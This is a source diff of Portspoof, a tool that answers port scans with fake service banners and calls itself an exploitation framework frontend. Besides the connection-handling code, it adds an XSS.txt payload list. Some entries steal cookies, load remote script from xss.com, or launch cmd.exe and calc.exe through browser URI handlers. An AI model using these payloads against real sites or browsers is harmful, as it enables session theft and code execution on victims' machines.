|
||||
#include <net/if.h>
|
||||
#include <net/pfvar.h>
|
||||
#include <net/if_pfsync.h>
|
||||
|
||||
#endif
|
||||
|
||||
#include "config.h"
|
||||
#include "threads.h"
|
||||
#include "connection.h"
|
||||
#include "portspoof.h"
|
||||
#include "log.h"
|
||||
|
||||
|
||||
Thread threads[MAX_THREADS];
|
||||
|
||||
|
||||
#ifdef OPENBSD
|
||||
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/in_systm.h>
|
||||
#include <netinet/in_var.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/ip_var.h>
|
||||
#include <net/if.h>
|
||||
#include <net/pfvar.h>
|
||||
#include <net/if_pfsync.h>
|
||||
|
||||
|
||||
void
|
||||
print_host(struct pf_addr *addr, u_int16_t port, sa_family_t af, u_int16_t rdom)
|
||||
{
|
||||
int opts=0;
|
||||
char buf[48];
|
||||
|
||||
|
||||
if (inet_ntop(AF_INET, addr, buf, sizeof(buf)) == 0)
|
||||
printf("?");
|
||||
else
|
||||
printf("%s", buf);
|
||||
|
||||
if (port) {
|
||||
if (af == AF_INET)
|
||||
printf(":%u", ntohs(port));
|
||||
else
|
||||
printf("[%u]", ntohs(port));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
int print_state(struct pfsync_state *s)
|
||||
{
|
||||
|
||||
|
||||
struct pfsync_state_peer *src, *dst;
|
||||
struct pfsync_state_key *sk, *nk;
|
||||
struct protoent *p;
|
||||
int min, sec;
|
||||
int afto = (s->key[PF_SK_STACK].af != s->key[PF_SK_WIRE].af);
|
||||
int idx;
|
||||
int ret=0;
|
||||
|
||||
src = &s->dst;
|
||||
dst = &s->src;
|
||||
sk = &s->key[PF_SK_WIRE];
|
||||
nk = &s->key[PF_SK_STACK];
|
||||
|
||||
/*
|
||||
printf("%s ", s->ifname);
|
||||
if ((p = getprotobynumber(s->proto)) != NULL)
|
||||
printf("%s ", p->p_name);
|
||||
else
|
||||
printf("%u ", s->proto);
|
||||
|
||||
print_host(&nk->addr[1], nk->port[1], nk->af, nk->rdomain);
|
||||
*/
|
||||
|
||||
if (nk->af != sk->af || PF_ANEQ(&nk->addr[1], &sk->addr[1], nk->af) ||
|
||||
nk->port[1] != sk->port[1] ||
|
||||
nk->rdomain != sk->rdomain) {
|
||||
idx = afto ? 0 : 1;
|
||||
printf(" (");
|
||||
print_host(&sk->addr[idx], sk->port[idx], sk->af,
|
||||
sk->rdomain);
|
||||
printf(")");
|
||||
ret=sk->port[idx];
|
||||
}
|
||||
|
||||
/*
|
||||
if (s->direction == PF_OUT || (afto && s->direction == PF_IN))
|
||||
printf(" -> ");
|
||||
else
|
||||
printf(" <- ");
|
||||
|
||||
*/
|
||||
|
||||
print_host(&nk->addr[0], nk->port[0], nk->af, nk->rdomain);
|
||||
|
||||
/*printf(" ");
|
||||
if (s->proto == IPPROTO_TCP) {
|
||||
if (src->state <= TCPS_TIME_WAIT &&
|
||||
dst->state <= TCPS_TIME_WAIT)
|
||||
//printf(" %s:%s\n", tcpstates[src->state],tcpstates[dst->state]);
|
||||
}
|
||||
*/
|
||||
return ret;
|
||||
}
|
||||
|
||||
int get_original_port(struct in_addr sip, u_int16_t sport)
|
||||
{
|
||||
|
||||
struct pfsync_state_peer *src, *dst;
|
||||
struct pfsync_state_key *sk, *nk;
|
||||
|
||||
char *pf_device = "/dev/pf";
|
||||
int mode = O_RDONLY;
|
||||
int dev = open(pf_device,mode);
|
||||
if (dev == -1)
|
||||
exit(1);
|
||||
|
||||
struct pfioc_states ps;
|
||||
struct pfsync_state *p;
|
||||
char *inbuf = NULL, *newinbuf = NULL;
|
||||
unsigned int len = 0;
|
||||
int i;
|
||||
|
||||
memset(&ps, 0, sizeof(ps));
|
||||
for (;;) {
|
||||
ps.ps_len = len;
|
||||
if (len) {
|
||||
newinbuf = realloc(inbuf, len);
|
||||
if (newinbuf == NULL)
|
||||
err(1, "realloc");
|
||||
ps.ps_buf = inbuf = newinbuf;
|
||||
}
|
||||
|
||||
if (ioctl(dev, DIOCGETSTATES, &ps) < 0) {
|
||||
warn("DIOCGETSTATES");
|
||||
free(inbuf);
|
||||
return (-1);
|
||||
}
|
||||
if (ps.ps_len + sizeof(struct pfioc_states) < len)
|
||||
break;
|
||||
if (len == 0 && ps.ps_len == 0)
|
||||
goto done;
|
||||
if (len == 0 && ps.ps_len != 0)
|
||||
len = ps.ps_len;
|
||||
if (ps.ps_len == 0)
|
||||
goto done;
|
||||
len *= 2;
|
||||
}
|
||||
|
||||
p = ps.ps_states;
|
||||
for (i = 0; i < ps.ps_len; i += sizeof(*p), p++) {
|
||||
if ( p->proto == IPPROTO_TCP && p->direction == PF_IN)
|
||||
{
|
||||
src = &p->dst;
|
||||
dst = &p->src;
|
||||
sk = &p->key[PF_SK_WIRE];
|
||||
nk = &p->key[PF_SK_STACK];
|
||||
u_int16_t state_port=nk->port[0];
|
||||
|
||||
//DEBUG
|
||||
|
||||
if(memcmp(&sip,&nk->addr[0],sizeof(int)) ==0 && state_port == sport){
|
||||
close(*pf_device);
|
||||
return print_state(p);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
done:
|
||||
close(*pf_device);
|
||||
free(inbuf);
|
||||
return (0);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
void nonblock(int sockfd)
|
||||
{
|
||||
int opts;
|
||||
opts = fcntl(sockfd, F_GETFL);
|
||||
if(opts < 0)
|
||||
{
|
||||
perror("fcntl(F_GETFL)\n");
|
||||
exit(1);
|
||||
}
|
||||
opts = (opts | O_NONBLOCK);
|
||||
if(fcntl(sockfd, F_SETFL, opts) < 0)
|
||||
{
|
||||
perror("fcntl(F_SETFL)\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
void process_connection(void *arg)
|
||||
{
|
||||
int tid = (int) arg;
|
||||
int len,i;
|
||||
char* str;
|
||||
char buffer;
|
||||
int original_port=DEFAULT_PORT;
|
||||
int n = 0;
|
||||
time_t timestamp;
|
||||
struct sockaddr_in peer_sockaddr;
|
||||
int peer_sockaddr_len=sizeof(struct sockaddr_in);
|
||||
|
||||
while(1) {
|
||||
|
||||
sleep(1);
|
||||
for(i = 0; i < MAX_CLIENT_PER_THREAD; i++)
|
||||
{
|
||||
|
||||
if(threads[tid].clients[i] != 0)
|
||||
{
|
||||
|
||||
timestamp = time(NULL);
|
||||
|
||||
n = recv(threads[tid].clients[i], &buffer,1, 0);
|
||||
|
||||
// deal with different recv buffer size
|
||||
if(n == 0){
|
||||
|
||||
#ifdef OPENBSD
|
||||
|
||||
if ( getpeername(threads[tid].clients[i], (struct sockaddr *) &peer_sockaddr, &peer_sockaddr_len)){
|
||||
perror("Getsockopt failed");
|
||||
goto close_socket;
|
||||
}
|
||||
else
|
||||
original_port=get_original_port(peer_sockaddr.sin_addr,peer_sockaddr.sin_port);
|
||||
|
||||
#else
|
||||
|
||||
if ( getsockopt (threads[tid].clients[i], SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&peer_sockaddr, &peer_sockaddr_len )){
|
||||
perror("Getsockopt failed");
|
||||
goto close_socket;
|
||||
}
|
||||
else
|
||||
original_port = ntohs(peer_sockaddr.sin_port);
|
||||
|
||||
#endif
|
||||
|
||||
//LOG
|
||||
char* msg=malloc(MAX_LOG_MSG_LEN);
|
||||
memset(msg,0,MAX_LOG_MSG_LEN);
|
||||
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
||||
log_write(msg);
|
||||
free(msg);
|
||||
//
|
||||
|
||||
close_socket:
|
||||
if(opts & OPT_DEBUG)
|
||||
fprintf(stderr,"Thread nr. %d : client %d closed connection\n",tid, threads[tid].clients[i]);
|
||||
|
||||
close(threads[tid].clients[i]);
|
||||
|
||||
pthread_mutex_lock(&new_connection_mutex);
|
||||
threads[tid].clients[i] = 0;
|
||||
threads[tid].client_count--;
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
|
||||
|
||||
}
|
||||
else if(n < 0){
|
||||
|
||||
|
||||
if(errno == EAGAIN)
|
||||
{
|
||||
continue; // Nmap NULL probe (no data) -> skip && go to another socket (client)
|
||||
}
|
||||
else if(errno == 104) // Client terminted connection -> get rid of the socket now!
|
||||
{}
|
||||
else
|
||||
fprintf(stderr,"errno: %d\n", errno);
|
||||
|
||||
#ifdef OPENBSD
|
||||
|
||||
if ( getpeername(threads[tid].clients[i], (struct sockaddr *) &peer_sockaddr, &peer_sockaddr_len)){
|
||||
perror("Getsockopt failed");
|
||||
goto close_socket2;
|
||||
}
|
||||
else
|
||||
original_port=get_original_port(peer_sockaddr.sin_addr,peer_sockaddr.sin_port);
|
||||
|
||||
#else
|
||||
|
||||
if ( getsockopt (threads[tid].clients[i], SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&peer_sockaddr, &peer_sockaddr_len )){
|
||||
perror("Getsockopt failed");
|
||||
goto close_socket2;
|
||||
}
|
||||
else
|
||||
original_port = ntohs(peer_sockaddr.sin_port);
|
||||
|
||||
#endif
|
||||
|
||||
//LOG
|
||||
char* msg=malloc(MAX_LOG_MSG_LEN);
|
||||
memset(msg,0,MAX_LOG_MSG_LEN);
|
||||
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
||||
log_write(msg);
|
||||
free(msg);
|
||||
//
|
||||
|
||||
close_socket2:
|
||||
close(threads[tid].clients[i]);
|
||||
|
||||
pthread_mutex_lock(&new_connection_mutex);
|
||||
threads[tid].clients[i] = 0;
|
||||
threads[tid].client_count--;
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
|
||||
#ifdef OPENBSD
|
||||
// BSD
|
||||
getpeername(threads[tid].clients[i], (struct sockaddr *) &peer_sockaddr, &peer_sockaddr_len);
|
||||
original_port=get_original_port(peer_sockaddr.sin_addr,peer_sockaddr.sin_port);
|
||||
//
|
||||
#else
|
||||
// Linux
|
||||
if ( getsockopt (threads[tid].clients[i], SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&peer_sockaddr, &peer_sockaddr_len ))
|
||||
perror("Getsockopt failed");
|
||||
original_port = ntohs(peer_sockaddr.sin_port);
|
||||
//
|
||||
#endif
|
||||
|
||||
//LOG
|
||||
char* msg=malloc(MAX_LOG_MSG_LEN);
|
||||
memset(msg,0,MAX_LOG_MSG_LEN);
|
||||
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Service_probe # SIGNATURE_SEND # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
||||
log_write(msg);
|
||||
free(msg);
|
||||
//
|
||||
|
||||
if(opts & OPT_DEBUG)
|
||||
{
|
||||
fprintf(stderr,"\n---\nThread nr.%d for port %d \n", tid,original_port);
|
||||
}
|
||||
|
||||
str=((signature*)(arr_lines2[signatures[original_port]]))->cptr;
|
||||
len=((signature*)(arr_lines2[signatures[original_port]]))->len;
|
||||
|
||||
if(opts & OPT_DEBUG)
|
||||
{
|
||||
fprintf(stderr,"signature sent -> ");
|
||||
int t=0;
|
||||
for(;t<len;t++)
|
||||
{
|
||||
if(*(str+t)==0)
|
||||
printf("\\00");
|
||||
else if(*(str+t)=='\n')
|
||||
printf("\\n");
|
||||
else if(*(str+t)=='\r')
|
||||
printf("\\r");
|
||||
else
|
||||
printf("\\%x",*(str+t));
|
||||
}
|
||||
printf("\n---\n");
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
if(send(threads[tid].clients[i], str, len,0)==-1)
|
||||
perror("Send to socket failed");
|
||||
|
||||
close(threads[tid].clients[i]);
|
||||
|
||||
pthread_mutex_lock(&new_connection_mutex);
|
||||
threads[tid].clients[i] = 0;
|
||||
threads[tid].client_count--;
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
else
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
259
src/connection.cpp
Executable file
259
src/connection.cpp
Executable file
@ -0,0 +1,259 @@
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
|
||||
#include <pthread.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <time.h>
|
||||
#include "Threads.h"
|
||||
#include "connection.h"
|
||||
#include "Configuration.h"
|
||||
|
||||
|
||||
void nonblock(int sockfd)
|
||||
{
|
||||
int opts;
|
||||
opts = fcntl(sockfd, F_GETFL);
|
||||
if(opts < 0)
|
||||
{
|
||||
perror("fcntl(F_GETFL)\n");
|
||||
exit(1);
|
||||
}
|
||||
opts = (opts | O_NONBLOCK);
|
||||
if(fcntl(sockfd, F_SETFL, opts) < 0)
|
||||
{
|
||||
perror("fcntl(F_SETFL)\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
void* process_connection(void *arg)
|
||||
{
|
||||
int tid = *((int*)(&arg));
|
||||
//int len;
|
||||
string str;
|
||||
char buffer;
|
||||
int original_port=DEFAULT_PORT;
|
||||
int n = 0;
|
||||
time_t timestamp;
|
||||
struct sockaddr_in peer_sockaddr;
|
||||
int peer_sockaddr_len=sizeof(struct sockaddr_in);
|
||||
char* msg;
|
||||
|
||||
while(1) {
|
||||
|
||||
sleep(1);
|
||||
for(int i = 0; i < MAX_CLIENT_PER_THREAD; i++)
|
||||
{
|
||||
|
||||
if(threads[tid].clients[i] != 0)
|
||||
{
|
||||
|
||||
timestamp = time(NULL);
|
||||
|
||||
if(configuration->getConfigValue(OPT_NOT_NMAP_SCANNER))
|
||||
n = 1; // just reply...
|
||||
else
|
||||
n = recv(threads[tid].clients[i], &buffer,1, 0);
|
||||
|
||||
|
||||
// deal with different recv buffer size
|
||||
if(n == 0){
|
||||
|
||||
#ifdef OSX
|
||||
original_port = ntohs(peer_sockaddr.sin_port);
|
||||
#else
|
||||
|
||||
if ( getsockopt (threads[tid].clients[i], SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&peer_sockaddr,(socklen_t*) (socklen_t*) &peer_sockaddr_len )){
|
||||
perror("Getsockopt failed");
|
||||
goto close_socket;
|
||||
}
|
||||
else
|
||||
original_port = ntohs(peer_sockaddr.sin_port);
|
||||
|
||||
#endif
|
||||
|
||||
//LOG
|
||||
msg=(char*)malloc(MAX_LOG_MSG_LEN);
|
||||
memset(msg,0,MAX_LOG_MSG_LEN);
|
||||
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
||||
Utils::log_write(configuration,msg);
|
||||
free(msg);
|
||||
//
|
||||
|
||||
close_socket:
|
||||
if(configuration->getConfigValue(OPT_DEBUG))
|
||||
fprintf(stdout,"Thread nr. %d : client %d closed connection\n",tid, threads[tid].clients[i]);
|
||||
|
||||
close(threads[tid].clients[i]);
|
||||
|
||||
pthread_mutex_lock(&new_connection_mutex);
|
||||
threads[tid].clients[i] = 0;
|
||||
threads[tid].client_count--;
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
|
||||
}
|
||||
else if(n < 0){
|
||||
|
||||
|
||||
if(errno == EAGAIN)
|
||||
{
|
||||
continue; // Nmap NULL probe (no data) -> skip && go to another socket (client)
|
||||
}
|
||||
else if(errno == 104) // Client terminted connection -> get rid of the socket now!
|
||||
{}
|
||||
else
|
||||
fprintf(stdout,"errno: %d\n", errno);
|
||||
|
||||
#ifdef OSX
|
||||
|
||||
|
||||
original_port = ntohs(peer_sockaddr.sin_port);
|
||||
|
||||
#else
|
||||
|
||||
if ( getsockopt (threads[tid].clients[i], SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&peer_sockaddr,(socklen_t*) &peer_sockaddr_len )){
|
||||
perror("Getsockopt failed");
|
||||
goto close_socket2;
|
||||
}
|
||||
else
|
||||
original_port = ntohs(peer_sockaddr.sin_port);
|
||||
|
||||
#endif
|
||||
|
||||
//LOG
|
||||
msg =(char*)malloc(MAX_LOG_MSG_LEN);
|
||||
memset(msg,0,MAX_LOG_MSG_LEN);
|
||||
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
||||
Utils::log_write(configuration,msg);
|
||||
free(msg);
|
||||
//
|
||||
|
||||
close_socket2:
|
||||
close(threads[tid].clients[i]);
|
||||
|
||||
pthread_mutex_lock(&new_connection_mutex);
|
||||
threads[tid].clients[i] = 0;
|
||||
threads[tid].client_count--;
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
#ifdef OSX
|
||||
// BSD
|
||||
original_port = ntohs(peer_sockaddr.sin_port);
|
||||
//
|
||||
#else
|
||||
// Linux
|
||||
if ( getsockopt (threads[tid].clients[i], SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&peer_sockaddr, (socklen_t*) &peer_sockaddr_len ))
|
||||
perror("Getsockopt failed");
|
||||
original_port = ntohs(peer_sockaddr.sin_port);
|
||||
//
|
||||
#endif
|
||||
|
||||
//LOG
|
||||
char* msg=(char*)malloc(MAX_LOG_MSG_LEN);
|
||||
memset(msg,0,MAX_LOG_MSG_LEN);
|
||||
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Service_probe # SIGNATURE_SEND # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
||||
Utils::log_write(configuration,msg);
|
||||
free(msg);
|
||||
//
|
||||
|
||||
if(configuration->getConfigValue(OPT_DEBUG))
|
||||
{
|
||||
fprintf(stdout,"\n---\nThread nr.%d for port %d \n", tid,original_port);
|
||||
}
|
||||
|
||||
std::vector<char> vectsignature=configuration->mapPort2Signature(original_port);
|
||||
|
||||
int buffertosendsize=vectsignature.size();
|
||||
char* buffertosend= (char*)malloc(buffertosendsize);
|
||||
|
||||
for(int j=0; j<buffertosendsize;j++)
|
||||
buffertosend[j]=vectsignature[j];
|
||||
|
||||
if(configuration->getConfigValue(OPT_DEBUG))
|
||||
{
|
||||
|
||||
|
||||
fprintf(stdout,"signature sent -> ");
|
||||
for(int t=0;t<buffertosendsize;t++)
|
||||
{
|
||||
if(*(buffertosend+t)==0)
|
||||
fprintf(stdout,"\\00");
|
||||
else if(*(buffertosend+t)=='\n')
|
||||
fprintf(stdout,"\\n");
|
||||
else if(*(buffertosend+t)=='\r')
|
||||
fprintf(stdout,"\\r");
|
||||
else
|
||||
fprintf(stdout,"\\%x",*(buffertosend+t));
|
||||
}
|
||||
fprintf(stdout,"\n---\n");
|
||||
|
||||
}
|
||||
fflush(stdout);
|
||||
|
||||
|
||||
if(send(threads[tid].clients[i], buffertosend, buffertosendsize,0)==-1)
|
||||
perror("Send to socket failed");
|
||||
|
||||
close(threads[tid].clients[i]);
|
||||
|
||||
free(buffertosend);
|
||||
|
||||
pthread_mutex_lock(&new_connection_mutex);
|
||||
threads[tid].clients[i] = 0;
|
||||
threads[tid].client_count--;
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
else
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
61
src/connection.h
Normal file → Executable file
61
src/connection.h
Normal file → Executable file
@ -1,6 +1,6 @@
|
||||
/*
|
||||
* portspoof Service signature obfucastor
|
||||
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
@ -16,16 +16,16 @@
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on portspoof. Thus, the terms and conditions of
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of portspoof
|
||||
* gives you permission to combine portspoof with free software programs or
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* portspoof and the licenses of the other code concerned.
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of portspoof are not obligated
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
@ -34,35 +34,12 @@
|
||||
*/
|
||||
|
||||
|
||||
#include <pthread.h>
|
||||
#include "Threads.h"
|
||||
|
||||
#ifdef OPENBSD
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in_systm.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/udp.h>
|
||||
#include <net/if.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <netinet/tcp_fsm.h>
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
#include <pthread.h>
|
||||
#include "threads.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <net/if.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/socket.h>
|
||||
@ -76,16 +53,30 @@
|
||||
#include <err.h>
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
|
||||
#include "revregex.h"
|
||||
#include "Configuration.h"
|
||||
#include "Server.h"
|
||||
|
||||
#ifndef CONNECTION_H
|
||||
#define CONNECTION_H
|
||||
|
||||
#define SO_ORIGINAL_DST 80
|
||||
#define TCPSTATES
|
||||
|
||||
extern pthread_cond_t new_connection_cond;
|
||||
extern pthread_mutex_t new_connection_mutex;
|
||||
extern Thread threads[MAX_THREADS];
|
||||
extern int port;
|
||||
extern char opts;
|
||||
|
||||
class Configuration;
|
||||
extern Configuration* configuration;
|
||||
|
||||
void nonblock(int sockfd);
|
||||
void process_connection(void *arg);
|
||||
void* process_connection(void *arg);
|
||||
|
||||
|
||||
#endif
|
||||
|
BIN
src/extra_files/.DS_Store
vendored
Normal file
BIN
src/extra_files/.DS_Store
vendored
Normal file
Binary file not shown.
188
src/extra_files/XSS.txt
Executable file
188
src/extra_files/XSS.txt
Executable file
@ -0,0 +1,188 @@
|
||||
aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"
|
||||
firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');"
|
||||
navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
|
||||
res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210
|
||||
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
|
||||
<<scr\0ipt/src=http://xss.com/xss.js></script
|
||||
%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
|
||||
' onmouseover=alert(/Black.Spook/)
|
||||
"><iframe%20src="http://google.com"%%203E
|
||||
'<script>window.onload=function(){document.forms[0].message.value='1';}</script>
|
||||
x”</title><img src%3dx onerror%3dalert(1)>
|
||||
<script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script>
|
||||
<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>
|
||||
<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>
|
||||
<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>
|
||||
<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
|
||||
<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
|
||||
<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>
|
||||
<script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
|
||||
<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74>
|
||||
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script>
|
||||
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script>
|
||||
<script>alert(document.head.innerHTML.substr(146,20));</script>
|
||||
<script>alert(document.head.childNodes[3].text)</script>
|
||||
<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>
|
||||
